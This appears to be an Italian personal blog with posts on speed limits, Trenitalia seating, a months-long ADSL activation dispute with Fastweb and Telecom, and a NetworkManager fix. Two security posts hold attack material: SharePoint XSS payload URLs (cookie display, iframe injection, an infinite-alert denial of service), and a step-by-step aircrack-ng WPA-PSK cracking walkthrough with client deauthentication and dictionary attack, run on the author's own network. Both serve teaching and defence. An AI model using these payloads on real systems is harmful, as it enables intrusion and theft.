Urla dal Sottosuolo

Protesta bianca contro i limiti di velocità

2011-10-15T11:50:00.013+02:00

Propongo una mobilitazione generale contro i limiti di velocità inadeguati e di conseguenza che nessuno rispetta.

L' obiettivo è sensibilizzare coloro i quali sono preposti a stabilire i limiti di velocità e spingerli a valutare meglio le loro decisioni prima di renderle legge.
Non ha senso infatti assegnare ad una strada un limite di velocità che nessuno rispetterà mai perchè troppo inferiore a quelli che sono i limiti del buon senso. Non devono fare "il compitino per casa" cercando di avere meno responsabilità possibili, ma devono regolare il traffico facendo si che gli utenti della strada arrivino a destinazione in sicurezza, il più velocemente possibile e inquinando il meno possibile.
Una macchina molto lenta è una macchina che crea intralcio quando non addirittura pericolo alla normale circolazione. Sappiamo inoltre che di solito il miglior rapporto tra inquinamento e strada percorsa si ha tra i 70 Km/h e i 100 Km/h. Una macchina che viaggia ai 50 Km/h spesso inquina di più di un veicolo appena più veloce.

Le modalità della protesta sono semplici. Dimostrare la scorretta assegnazione dei limiti rispettandoli tutti alla lettera, si evidenzieranno immediatamente rallentamenti eccessivi ed ingorghi.
Se ci sono i 50 Km/h facciamo si che tutti vadano ai 50 Km/h, se ci sono i 30 Km/h allora tutti ai 30 Km/h, non un chilometro di più. Non dico sempre, come però sarebbe la regola, ma almeno quando non avete urgenza o motivo di correre; quando potete permettervi di metterci cinque minuti in più per arrivare a destinazione.

I risultati che mi aspetto sono che avremo un grande impatto sulla circolazione. Costringeremo molti, se non tutti, ad andare alla nostra velocità e a rendersi conto che spesso i limiti di velocità sono esagerati e addirittura controproducenti. Immaginatevi la faccia di quello che sfanala e rosica perchè non riesce a passare sapendo che lo fate per protesta e non per inettitudine.
Immaginatevi anche gli enti che si vedranno drasticamente ridurre gli introiti di quegli autovelox infernali utilizzati maggiormente come macchine da soldi, sempre scarsi nella pubblica amministrazione, che come strumento per educare gli automobilisti ad una guida sicura e responsabile.

I tempi? Finchè le cose non cambiano. Attacchiamo un cartello sul nostro veicolo, qualunque esso sia, per avvertire chi ci segue che ci limitiamo per protesta contro i limiti e spingiamo amici e parenti a fare lo stesso. Creiamo una massa critica, più siamo più ci facciamo sentire.

Chi può prendere parte alla protesta? Tutti gli utenti della strada ovviamente. Macchine, motorini, camion, trattori e chi più ne ha più ne metta. Tutti hanno dei limiti da rispettare e tutti devono rispettarli.

Precisazioni dovute: io non sono contrario ai limiti di velocità e alla sicurezza, tutto il contrario. La sicurezza mia e di chi mi sta attorno dev'essere condizione necessaria e presupposto di tutto il resto. Credo che una volta calibrati correttamente i limiti vadano inasprite le pene per chi dovesse superarli. Credo inoltre che il limite di alcool nel sangue debba essere portato a zero per tutte le persone alla guida di veicoli, perchè anche una minima quantità altera i riflessi e la percezione di tutti anche se non ce ne rendiamo conto, non esiste persona immune agli effetti dell'alcool. Credo infine che ci voglia più rispetto degli altri in strada, a partire dall'uso degli indicatori di direzione, del rispetto delle precedenze e degli attraversamenti pedonali, degli spazi di parcheggio e in generale bisogna sempre tenere presente che non siamo gli unici utenti della strada e che il nostro comportamento non deve condizionare il prossimo.

Trenitalia, le frecce e i posti prenotati

2011-09-15T19:15:00.003+02:00

Se possedete un abbonamento eurostar o utilizzate spesso le frecce per i vostri spostamenti facilmente conoscete il problema.
Gli abbonati non hanno il posto prenotato sul treno, semplicemente si siedono dove trovano libero. Non c'è modo per loro di sapere se il posto da loro occupato sia già prenotato, perchè i posti possono essere prenotati fino all'ultimo momento.
Può capitare quindi che si presenti chi ha prenotato il posto e lo reclami, e l'abbonato è costretto ad alzarsi e a cambiar di posto rischiando di finire in un altro già prenotato, e così via.
Sembra impossibile che nessuno abbia pensato ad una soluzione quasi imbarazzante nella sua semplicità. Se i posti nella carrozza vanno da (butto numeri a caso) 1 a 100, basterebbe prenotare per ultimi i posti da 80 a 100. In questo caso tutti i posti potrebbero essere prenotati ma l'abbonato tenderà a sedersi su questi ultimi e, nel caso in cui anche questi fossero prenotati vorrebbe dire che tutti gli altri sono già prenotati e dovrà viaggiare in piedi, perchè l'abbonamento non ha la garanzia del posto.

Telecom, Fastweb e i predatori dell'ADSL perduta

2011-09-14T16:18:00.007+02:00

L'8 Maggio mi sono sposato e contestualmente ho cambiato casa. Dopo i festeggiamenti ed il viaggio di nozze decido di richiedere l'attivazione di una linea ADSL nella nuova casa. Analizzo le offerte del mercato e decido che l'offerta Joy di Fastweb è quella che più corrisponde alle mie esigenze, chiamo quindi il call center per richiedere il servizio. Correva il 14 Giugno 2011.
Al telefono il gentile operatore mi guida per la stipula del contratto, quando incappiamo in un problema, il primo di una lunga serie. La via dove ora abito non esiste sul suo programma perchè è una via molto nuova, di conseguenza non può verificare se il servizio sia o meno disponibile nella mia zona. Disposto a tutto per conquistare un nuovo cliente, il solerte operatore individua una via accanto alla mia, e verifica che l'ADSL c'è. Si può fare! Procediamo con le formalità, ringrazio per la gentilezza e la disponibilità e saluto.
Il giorno dopo in ufficio apro le email di pervenuta richiesta e mi accorgo che il mio indirizzo è sbagliato e riporta la via accanto alla mia usata a fini di verifica. Veloce telefono per correggere l'errore e chiedo che mi vengano rispedite le carte da firmare, mi confermano la correzione e mi dicono che provvederanno al più presto a rispedire i documenti. Il 17, due giorni dopo, ricevo una email che conferma la variazione di indirizzo. Niente documenti corretti allegati. Poi più niente.
Il 23 Giugno decido che è ora di chiedere nuovamente le carte, ma questa volta per iscritto. Vado quindi sul modulo di assistenza online, compilo con i miei dati e chiedo che mi vengano spediti i documenti corretti. La sera stessa mi chiama una gentile operatrice, le rispiego il problema, mi conferma che l'indirizzo è già stato cambiato e che segnala di rispedire i documenti.
Passano i giorni, nel frattempo una mattina, a sorpresa, mi chiama un tecnico di Telecom: sono davanti a casa mia per attivare l'ADSL. Peccato che non fossi stato avvisato per cui a casa non c'è nessuno, siamo tutti al lavoro. Nessun problema, mi rispondono, intanto fanno tutte le operazioni preliminari e poi mi richiameranno per concordare una data di intervento. E così fu, la sera stessa mi accordo con un altro tecnico che verrà a casa mia per attivare la linea.
Arriva il giorno, nel frattempo si è fatto Agosto, e il tecnico si presenta puntuale. In piedi in mezzo alla via di casa mia cerca disperatamente la centralina di zona che avrebbero dovuto installare i tecnici della volta precedente. La centralina nuova non è stata installata. Verifica la distanza da quella più vicina e decide che deve proprio chiederne un'altra. Quella già presente infatti sarebbe troppo distante, quindi si verificherebbe una grossa perdita di segnale, e troppo piccola per soddisfare le richieste di tutta la zona. Invia l'email di richiesta davanti a me, saluta e sparisce nella calda luce di un ormai basso tramonto estivo.
Vado in ferie, e in quei giorni Telecom mi avvisa che la nuova centralina di zona è stata installata. Di lì a breve mi chiama un'operatrice Fastweb per chiedermi se avessi già provato a collegare il router che mi avevano consegnato la mattina. Faccio notare che, essendo in spiaggia (con tanto di rumore delle onde in sottofondo) a 200 Km di distanza, il router non è stato consegnato al sottoscritto, ne a mia moglie che è in vacanza con me. E che comunque non avrei saputo dove collegarlo visto che la spina del telefono in casa Telecom non me l'ha ancora messa. La gentile operatrice riattacca con la scusa che magari il router è stato ritirato da qualcuno in casa mia (i ladri?) oppure da qualche vicino. Rimaniamo daccordo che ci saremmo sentiti se al mio ritorno non avessi trovato il pacco.
Al mio ritorno del router neanche l'ombra, mentre trovo nella cassetta delle lettere un plico di carte, la copia del contratto da rispedire firmato con il mio indirizzo ancora sbagliato nonostante le numerose segnalazioni. Prendo in mano il telefono, deciso a raccontare la mia storia e speranzoso di trovare aiuto e conforto. Parto dal router. L'operatrice sfoglia i documenti e mi dice che è stato consegnato ad un certo signor Matteo. Le rispondo che se quel Matteo ero io quella firma è falsa, se è qualcun altro che mi dica il cognome che gli vado a chiedere di restituirmi il mio router. Ha firmato solo col nome, non si sa altro. Devo dedurre che il mio router è stato rubato. Me ne spediranno un altro. L'operatrice sta per riattaccare, ma veloce gli spiego che se anche avessi il router non potrei attaccarlo da nessuna parte visto che Telecom non mi ha ancora portato la presa del telefono in casa. Lei capisce il problema e invia un sollecito a Telecom per velocizzare i tempi.
Sta per attaccare di nuovo quando le spiego l'ultimo dei miei problemi, il problema delle carte spedite con l'indirizzo sbagliato. Lei mi dice che la firma serve solo per l'anagrafica, ma le rispondo che non sono disposto a firmare carte dove richiedo l'attivazione di una linea telefonica a casa di qualcun altro perchè in caso sbagliassero ad attivarla la colpa sarebbe mia. Mandatemi le carte corrette e io le firmo, altrimenti niente. Lei segnala anche questo problema, ma non ho più molta fiducia che si risolva.
Passa qualche giorno, sono in bagno a farmi la barba quando suona il telefono (il cellulare, che credavate??). Una gentile signorina di Telecom ha una segnalazione guasto a mio nome e mi chiede gentilmente se ho tempo di fare qualche prova: provi a staccare e riattaccare il router. Rimango di sale. Le rispondo che se anche avessi un router, cosa che ancora non ho, non saprei dove attaccar(me)lo visto che non mi hanno ancora messo la presa telefonica. Strano, mi risponde, e come mai allora pago le bollette? Io non pago le bollette, le ribatto, e la centralina di zona l'avete installata da poco, come pensate che potesse essere collegata casa mia prima? Capisce il problema, segnala e riattacca. Sono i primi giorni di Settembre.
Il giorno dopo mi chiama un tecnico Telecom chiedendomi quale fosse il problema. Il problema è che non ho la presa del telefono. Ma che contratto avevi prima, mi chiede. Rispondo che fino a tre mesi fa, giorno in cui ho chiesto la linea, in quella casa non c'erano neanche i pavimenti. E come mai allora paghi le bollette? Io non pago nessuna bolletta ancora, non mi avete ancora dato il servizio!! Il tecnico proprio non capisce, decide così di fare una verifica e di richiamarmi. Mi richiama e mi chiede quando può venire. Gli rispondo che la mattina dopo mia moglie è a casa, e domando quanto tempo ci vorrà a fare il lavoro. La risposta mi lascia basito: vengo solo per capire la situazione, non capisco perchè non vada la linea. Cosa c'è da capire, replico, non ho la presa del telefono. E' una casa nuova, dovete tirare il cavo del telefono dalla nuova centralina di zona a casa mia, è molto semplice. Ma lui non vuole sentire ragioni e il giorno dopo si presenta a casa mia, pone le stesse domande a mia moglie, che risponde con le mie stesse parole, e, fulminato sulla via di Damasco, se ne va sollecitando i lavori.
Sembrava ormai prossimo l'avvento dell'ADSL, quando un giorno mi chiama sul cellulare un nuovo tecnico Telecom chiedendomi le stesse cose del precedente. Ormai esasperato gli chiedo di venire a casa quando ci sono anch'io in modo da analizzare il problema insieme. Appena arrivato metto in chiaro che quella è la quinta uscita che fanno e che il problema è sempre lo stesso. Il tecnico si mette in mezzo alla strada e cerca la nuova centralina di zona (deja vu) installata dall'altra squadra. Non si trova! Si mette così a chiamare i colleghi e viene a sapere che nessuna centralina è stata installata recentemente nella mia zona, nonostante la richiesta del suo collega e la conferma via telefono di installazione eseguita. Shockato gli chiedo il da farsi. Decide di collegare casa mia alla centralina che l'altro tecnico aveva giudicato troppo lontana, preventivando almeno tre ore di lavoro per alzare tutti i tombini della via per portare il cavo. Ci accordiamo per il giorno.
Quel giorno è oggi, mercoledì 14 Settembre alle 17.30. Mi sveglio emozionato come il primo giorno di scuola. Ma alle 8 mi suona il telefono, sono i tecnici telecom che vogliono fare il lavoro, peccato che l'appuntamento fosse di pomeriggio e che io sia a lavorare. La ditta (subappaltata da Telecom) mi dice che le sembra strano che l'appuntamento fosse alle 17.30 perchè loro alle 17.00 finiscono. Ci accordiamo comunque per vederci alle 17.30. Manca un'ora, vediamo se stasera riuscirò a twittare la buona riuscita dal mio pc collegato alla mia nuova ADSL. Ah no ma che dico, non ci riuscirò, mi manca il router che sto ancora aspettando.

-- Aggiornamento 15/09/2011 --

Ieri quando sono arrivato a casa i tecnici avevano già tirato il cavo fino a casa. Mancava solo di farlo entrare e attaccare la spina. Dopo due ore di lavoro però il tecnico non era ancora riuscito, nonostante il poveretto sia stato così gentile da fermarsi ben oltre il suo orario di lavoro. Rimaniamo comunque daccordo per riprovarci venerdì.
Stamattina ricevo una telefonata da un'operatrice di Fastweb che mi chiede se la linea in casa sia stata attivata. Le spiego com'è andata ieri, e vengo a sapere che se non riescono loro a far passare il cavo dal corrugato dovrò chiamare degli elettricisti a mie spese. Rispondo che se venerdì non andrà tutto a buon fine cambierò compagnia.
Le chiedo notizie del router che sto aspettando, lei mi dice che finchè la linea non sarà attiva non me ne manderanno un altro per evitare di doverlo rimandare indietro in caso decidessi di non proseguire. Infine chiedo notizie delle carte corrette che sto aspettando da Giugno, e finalmente trovo il primo operatore che mi dice che non è possibile avere le carte corrette perchè una volta censito con un indirizzo resta quello e non si può cancellare. Mi chiede pertanto di mandarle le carte firmate. Ovviamente le rispondo che non firmo carte dove richiedo l'attivazione di una linea a casa di qualcun altro, e lei mi consiglia di correggere l'indirizzo sul contratto e di rispedirlo firmate. Deciderò venerdì, in base a come andranno le cose, se tutto andrà bene farò come dice altrimenti questi tre mesi saranno stati solo un brutto sogno. Non so più a cosa pensare.

-- Aggiornamento del 16/09/2011 --

Il cavo stamattina è stato tirato, ho la spina del telefono a casa. Mi ha anche chiamato Telecom per chiedere conferma del funzionamento dell'impianto. Forse le cose volgono a buon fine.

-- Aggiornamento del 27/09/2011 --

HO INTERNET! Dopo appena 3 mesi e 13 giorni la mia linea ADSL a casa è finalmente attiva e funzionante! Non l'ho ancora verificato, ma mia moglie per telefono mi ha detto che è tutto ok. Non vedo l'ora di tornare a casa per provare il nuovo giochino.
C'è una sola cosa che mi ronza in testa dopo aver ripensato a tutta la vicenda e che mi infastidisce non poco. Il falegname di George Clooney che dice sorridente "veloci come fastweb!".

-- Aggiornamento del 19/10/2011 -

Rileggendo quello che ho scritto il 27/09 mi rendo conto di aver cantato vittoria troppo presto. Domenica 2 Ottobre sono davanti al computer quando la connessione comincia ad andare a singhiozzo, a tratti non si aprivano nemmeno le pagine web. Installo quindi Ne.Me.Sys., il programma di Agcom che permette di avere un report ufficiale delle prestazioni della propria ADSL. L'offerta J@y di Fastweb ha un downstream di 20 Mbit, e sul sito, secondo le nuove norme sulla trasparenza, dichiarano che la velocità minima garantita è di 10.2 Mbit. Dopo un paio di giorni di lavoro, Ne.Me.Sys. mi da i risultati: 2.8 Mbit medi in downstream, ben inferiore quindi alla minima. Seguo le istruzioni di Agcom per reclamare ciò che pago, preparo ed invio un fax a Fastweb con la documentazione avvisando che ripeterò il test di lì a trenta giorni e che se dovesse nuovamente fallire provvederò a recedere da contratto senza penali per loro inadempienza contrattuale.
Fast forward ad oggi, mi chiama un tecnico Telecom per chiedermi quale sia il problema alla mia ADSL. Gli faccio una breve panoramica e mi risponde che casa mia è troppo lontana dalla centrale telecom, e che quindi più di così la linea non riesce a fare. Gli rispondo che capisco il suo problema, ma io il costo lo pago intero e quindi pretendo di avere il servizio che pago. Mette giù, capendo pienamente il problema. I trenta giorni scadono il 4 Novembre, non ho molta fiducia che lo risolvano, rifarò il test con Ne.Me.Sys. e poi prenderò una decisione.

-- Aggiornamento del 25/10/2011 --

Ho vinto la mia battaglia contro Fastweb! Oggi mi chiama un commerciale, che, fatte le presentazioni, comincia a spiegarmi che casa mia è troppo lontana dalla centrale e che quindi non potrei mai arrivare alla velocità di 20 Mbit. Non solo, probabilmente per errore gli sfugge di dirmi che la centrale di Tezze sul Brenta a cui sono collegato è una centrale che viaggia al massimo a 7 Mbit.
Gli faccio notare che sul sito non è scritto che la velocità massima nella mia zona è 7 Mbit, e che anche l'operatore con cui ho stipulato il contratto mi ha sempre parlato di 20 Mbit. Se avessi saputo che al più, pur abitando vicino alla centrale, sarei potuto arrivare massimo a 7 probabilmente avrei fatto il contratto con qualche altro fornitore, magari uno WiMax, più prestante fuori dalle zone abitate. Oltretutto non trovo giusto che se posso avere al massimo 7 Mbit mi facciano comunque pagare come chi ne può usare 20. Aggiungo anche che venire a sapere dopo 3 mesi e 14 giorni di questi problemi mi fa molto arrabbiare e che non ritengo il loro un comportamento serio.
Dopo aver per un po' sostenuto la tesi del limite fisico con scarsi risultati scende a compromessi e mi fa La Proposta. Due mesi di ADSL gratis, poi a Settembre 2012 quando scade l'offerta J@y a 20 euro al mese, invece di pagarne 32 mi propone di continuare a pagarne 20. Gli rispondo di darmi intanto i 2 mesi gratis, poi a Settembre ci risentiamo. Epic win! =D

Network Manager sparito

2011-03-25T12:52:00.006+01:00

Trovatomi davanti ad un fastidioso bug con wicd che non mi permetteva di cambiare agilmente subnet durante i test, ho deciso di tornare al vecchio network manager, con cui avevo litigato tempo fa.
Una volta ripristinato mi son trovato davanti a questo fastidioso problema: all'avvio della sessione utente non trovavo l'icona di nm-applet, l'applet di network manager, nell'area di notifica.
A nulla sono valsi i tentativi di riavviare l'applet, ad ogni kill e riavvio l'icona non riappariva, mi accordo però che allacciandomi da terminale ad una rete magicamente l'icona riappariva con il collegamento effettuato.
Dopo millle tentativi e ricerche su google ho capito che il problema risiedeva nella configurazione di eth0 modificata a mano dal sottoscritto nel file /etc/network/interfaces che probabilmente andava in conflitto con il despota network manager.
Ho proceduto quindi in questo modo:

Prendo i diritti di amministratore

sudo -i

Fermo il servizio di network manager e disattivo la scheda di rete eth0 che dava problemi

stop network-manager
ip link set eth0 down

Modifico il file delle interfacce di rete commentando con un # tutto quello che riguarda eth0

vim /etc/network/interfaces

Riavvio i servizi di rete

ip link set eth0 up
start network-manager

Riavvio il sistema per verificare che ora tutto funzioni correttamente

reboot

Tanti auguri a me!

2010-06-23T09:57:00.001+02:00

Tre anni di blog.

Vulnerabilità cross-site scripting per Share Point

2010-05-04T18:30:00.000+02:00

Come descritto da Mammona Microsoft nel security advisory 983438, Share Point risulta vulnerabile ad un attacco cross-site scripting (XSS).
Il problema risiederebbe in una variabile, cid0, che non viene ripulita dai caratteri speciali permettendo così di iniettare codice arbitrario nelle pagine del sito. Così facendo si espongono gli utenti del sito a diversi pericoli:

furti di dati tra cui i cookie di autenticazione al sito stesso: tramite javascript è possibile andare a leggere il document.cookie e passarlo, per esempio come parametro codificato tramite il comando window.open, ad una pagina creata ad-hoc per registrare i dati ricevuti.
esecuzione di software non autorizzato: incapsulando un iframe nella pagina o sempre con il comando window.open è possibile indirizzare gli utenti verso siti malevoli che installeranno ed eseguiranno software non autorizzato sul pc dell'utente.
attacchi denial of service: è possibile creare script che bloccano il browser dell'utente.
altro: l'unico limite è la fantasia.

Per testare se il vostro server SharePoint è vulnerabile potete usare questa stringa:

http://mioserver/_layouts/help.aspx?cid0=MS.WSS.manifest.xm%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E&tid=X

ovviamente sostituendo "mioserver" con l'indirizzo del vostro server. Nel caso il vostro server sia vulnerabile si aprirà un popup con scritto "XSS".
Analizzando l'url vediamo come il parametro cid0 venga forzato tramite un carattere nullo () a ricevere un pezzo di javascript codificato in ascii racchiuso dai tag <script> e </script> a loro volta codificati.
Un esempio di come iniettare una pagina esterna al sito, in questo caso Google, tramite un iframe potrebbe essere questo:

http://mioserver/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%3Ciframe%20src=%22http://www.google.it%22%3E%3C/iframe%3E%&tid=X

Se invece vogliamo proprio aprire una nuova finestra possiamo usare il comando window.open in questo modo:

http://mioserver/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%3Cscript%3Ewindow.open('http://www.google.it')%3C/script%3E&tid=X

per mostrare i cookie di sessione:

http://mioserver/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%3Cscript%3Ealert(document.cookie)%3C/script%3E&tid=X

ed infine per creare un bel denial of service che costringerà a killare il processo del browser:

http://mioserver/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%3Cscript%3Ewhile(1)%20alert('Owned')%3C/script%3E&tid=X

Qualcuno ha addirittura pensato a vere e proprie backdoor in javascript da passare come sorgente di script tramite XSS per comandare da remoto i pc caduti vittima di questi attacchi. Non mi sono sincerato se la cosa funzioni sul serio o meno, il mio scopo è rendere l'idea di quante cose si possano fare avendo la possibilità di passare codice arbitrario alle pagine web.
Attualmente per sistemare questa falla di sicurezza non esistono patch. I programmatori devono sincerarsi di validare tutte le possibili fonti di input da parte dell'utente sostituendo o rendendo innocui tramite comandi di escape i caratteri speciali.

De Informatica Securitate

2010-04-30T18:23:00.013+02:00

Dopo quasi un anno dall'ultimo post e a seguito del rinnovo del dominio mi trovo a scrivere questo breve articoletto che avevo in mente da un po' di tempo.

Già duemila anni fa due personaggi avevano trattato l'argomento sicurezza nei loro scritti. Certo non si sarebbero mai immaginati che quegli stessi princìpi molto tempo dopo si sarebbero potuti applicare a reti di calcolatori, ma loro ci avevano pensato sul piano logico ed erano giunti a delle conclusioni. Platone nell'opera La Repubblica afferma:

Nempe ridiculum esset, custode indigere custodem.

che tradotto vuol dire

Ovviamente è ridicolo, che un custode debba essere custodito.

Circa quattrocento anni dopo Giovenale nelle sue Satire si pone una domanda dalle sfumature simili:

Pone seram, cohibe, sed quis custodiet ipsos custodes?

che vuol dire più o meno

Spranga la porta, chiudi, ma chi sorveglierà gli stessi custodi?

Ora facciamo un salto avanti di duemila anni. E' il 27 Novembre 2008 e troviamo un provvedimento del Garante della Privacy che riguarda gli amministratori di sistema, che hanno un ruolo di custodi dei server che amministrano, il quale prescrive che i log, cioè i registri dei server che tengono traccia degli accessi ai server e delle operazioni svolte da chi accede agli stessi, abbiano caratteristiche di completezza, inalterabilità e che vi sia possibilità di verifica dell'integrità stessa dei dati. Impone cioè all'azienda di diffidare degli amministratori controllando il loro operato senza che l'amministratore possa modificare i registri per inquinare le prove delle sue operazioni.

Chi ha un minimo di conoscenze sull'argomento sa che i sistemi informatici sono gerarchici e al vertice della piramide del potere c'è l'amministratore di sistema, che ha poteri assoluti sui server in cui opera. Almeno un amministratore deve esserci. Sempre.

Come facciamo allora a fare in modo di controllare l'amministratore? Le tecniche sono diverse. Possiamo creare l'hash dei log, una sorta di impronta digitale univoca che assicura che il log stesso non sia stato modificato dopo la scrittura. Ma a chi affidiamo l'archivio degli hash per eventuali future verifiche? Dobbiamo ricorrere necessariamente ad un altro amministratore, se non allo stesso che viene controllato, ritrovandoci così al punto di partenza. E chi ci dice che i log non siano stati modificati prima della scrittura sul disco, magari a più basso livello, o che non siano stati modificati gli hash stessi in modo da autenticare log alterati? In fondo abbiamo detto che l'amministratore ha potere assoluto sui suoi server.

La soluzione a questo problema non c'è mai stata e non c'è tuttora, per quanto vengano vendute soluzioni chiavi in mano a volte anche molto costose. Questo provvedimento del garante sebbene possa essere trovato utile da qualcuno sul piano teorico è assolutamente inapplicabile a livello pratico, e non serve ad altro che ad impegnare in maniera poco proficua il tempo degli amministratori e i fondi delle aziende che potrebbero essere impegnati più produttivamente per fare formazione, ricerca e sviluppo, o per implementare altre aree che sono le prime ad essere trascurate in un'epoca in cui il tempo ed i fondi scarseggiano.

Cracking di reti WIFI protette con WPA-PSK

2009-07-28T17:55:00.013+02:00

La sicurezza delle WLAN basate su WPA-PSK in questo momento dipende molto dalla lunghezza della password. Con un portatile equipaggiato con Linux (Ubuntu 9.04 Jaunty Jackalope) e gli opportuni tools vi mostrerò come trovare la password di una rete protetta con WPA-PSK.
Per fare questo utilizzeremo due programmi: aircrack e kismet. Aircrack è un pacchetto di programmi che permettono di crackare chiavi WEP e WPA, kismet invece ci permette di sniffare il traffico WIFI nell'aria.
Cominciamo installando i programmi.

root@argo:~# apt-get install aircrack-ng kismet

Ora la vostra linuxbox è pronta per cominciare. Mettetevi comodi e facciamo un rapido controllo delle reti WIFI disponibili nei dintorni:

root@argo:~# iwlist wlan0 scanning

wlan0 Scan completed :
Cell 01 - Address: 00:19:5B:54:C0:68
ESSID:"default"
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=99/100 Signal level:-24 dBm Noise level=-81 dBm
Encryption key:on
IE: Unknown: 000764656661756C74
IE: Unknown: 010882848B960C121824
IE: Unknown: 030106
IE: Unknown: 2A0100
IE: Unknown: 32043048606C
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000000eadcd9b
Extra: Last beacon: 200ms ago

La rete "default" è una wlan che ho approntato ad hoc per questo esempio, con un mio router e un mio access point. Non sto crackando la rete a nessuno, anche se potrei farlo volendo. :-)
Impostiamo la scheda WIFI in modalità "monitor". Questa modalità ci permetterà di sniffare le onde radio nell'etere e di analizzarle. Con questo comando vengono anche controllati i processi che potrebbero interferire durante le operazioni.

root@argo:~# airmon-ng start wifi0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
2722 NetworkManager
2745 wpa_supplicant

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 - [phy0]

Sono stati trovati due processi, NetworkManager e wpa_supplicant, che potrebbero dar fastidio. Airmon ha una funzione per killare questi processi.

root@argo:~# airmon-ng check kill

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
2722 NetworkManager
2745 wpa_supplicant
Killing all those processes...

Controlliamo quindi che tutto sia andato a buon fine, facciamo un check e riabilitiamo l'interfaccia.

root@argo:~# airmon-ng check
root@argo:~# airmon-ng start wifi0

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 - [phy0]

root@argo:~# airmon-ng

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 - [phy0]

Il comando airmon-ng senza parametri ci mostra le interfacce abilitate, e ci conferma che la wlan0 è correttamente impostata.
Mettiamoci quindi a sniffare l'etere in cerca di informazioni sulla nostra rete.

root@argo:~# airodump-ng wlan0

CH 2 ][ BAT: 1 hour 17 mins ][ Elapsed: 12 s ][ 2009-07-30 21:05

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:54:C0:68 -61 85 0 0 6 54 WPA TKIP PSK default

BSSID STATION PWR Rate Lost Packets Probes

Troviamo l'access point "default" attivo sul canale 6, viene mostrato il MAC address e un altro po' di informazioni. In una condizione normale potrebbe capitare di trovare più reti disponibili, e client connessi alle varie WLAN. Mettiamo quindi un filtro sul MAC address della nostra WLAN e aspettiamo che qualcuno si connetta. Tutti i pacchetti da qui in avanti verranno raccolti in file per essere successivamente analizzati.

root@argo:/home/tsbrego/aircrack# airodump-ng -c 6 -w psk --bssid 00:19:5B:54:C0:68 wlan0

CH 6 ][ BAT: 1 hour 15 mins ][ Elapsed: 4 s ][ 2009-07-30 21:16

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:54:C0:68 -25 100 47 40 5 6 54 WPA TKIP PSK default

BSSID STATION PWR Rate Lost Packets Probes

00:19:5B:54:C0:68 00:16:6F:4F:A5:D0 -63 54 -48 1536 75

Troviamo finalmente un client collegato alla rete (grazie Enea!). Apriamo quindi una nuova shell e, con aireplay, mandiamo dei pacchetti di deautenticazione al client, il quale si disconnetterà e tenterà di ricollegarsi alla rete. E' qui che verrà passata, crittografata, la password di accesso alla rete e sono questi i pacchetti che ci interessano per i nostri scopi.

root@argo:~# aireplay-ng -0 3 -a 00:19:5B:54:C0:68 -c 00:16:6F:4F:A5:D0 wlan0
21:18:22 Waiting for beacon frame (BSSID: 00:19:5B:54:C0:68) on channel 6
21:18:23 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 2 ACKs]
21:18:23 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 4 ACKs]
21:18:24 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 2 ACKs]

Tra i file con i dati raccolti quello che ci interessa è psk-01.cap. Prendiamo il nostro fidato file dizionario.txt e mettiamoci a crackare la password WPA con la forza bruta.

root@argo:/home/tsbrego/aircrack# aircrack-ng -w dizionario.txt -b 00:19:5B:54:C0:68 psk-01.cap

Aircrack-ng 1.0 rc3

[00:00:00] 4 keys tested (39.33 k/s)

KEY FOUND! [ p4ssw0rd ]

Master Key : 3A 89 42 2A 28 90 4C A7 40 27 E4 77 D4 8A 60 DF
87 76 3B B0 E5 10 90 0F 7A 62 6D A1 89 EC AA 4F

Transient Key : E2 F4 80 2F 01 E1 99 21 8D AA 71 F1 61 B1 43 42
36 F8 A5 8A CE 58 D8 94 5B 03 95 F4 12 E1 CC 01
FE 1C 76 AD F3 CC C7 4C CD 7F 7C 0B 95 7E AF 91
84 C3 C9 53 4E B3 47 32 D1 37 C3 C9 82 AE 41 BB

EAPOL HMAC : D4 D8 8F 62 93 84 FD 97 49 28 76 A7 98 B9 A0 1D

Et voilà. Password trovata: p4ssw0rd.
E' chiaro che l'unico punto debole di questo sistema, per ora, è la password e che prerequisito per accedere alla rete è avere un buon dizionario che contenga tra le altre anche la password giusta. Nel mio caso, visto che conoscevo la password, mi ero preparato un file dizionario.txt che ha trovato la password al quarto tentativo.
Tenendo presente che un dizionario che contenga tutte le password da 10 caratteri con numeri e lettere solo in minuscolo pesa almeno 500 gb, se vogliamo rendere la nostra rete sicura possiamo dare una password di almeno 15 caratteri alfanumerici case sensitive e in linea di massima dormiamo sonni tranquilli. Più la password è lunga, più la rete è sicura. E' anche il caso di cambiare periodicamente la password, così da vanificare il lavoro certosino di chi vuole la nostra rete.
Tra i router out of the box forniti dai provider spicca Alice con una password di 24 caratteri, quindi molto sicura, mentre i router fastweb di default ne hanno 10.
E' chiaro che la prima cosa da fare appena acceso il proprio router wifi nuovo fiammante è andare a cambiare la password predefinita con una nuova. Ci sono gruppi di appassionati che cercano di trovare l'algoritmo per trovare la password predefinita dal produttore partendo dal MAC address, che è una informazione liberamente accessibile. Per ora sembra che nessuno ci sia riuscito, ma è meglio non rischiare.

I diritti si restringono

2009-06-20T20:00:00.000+02:00

Un parcheggio per disabili ridotto per favorire l'accesso ad un'auto blu.
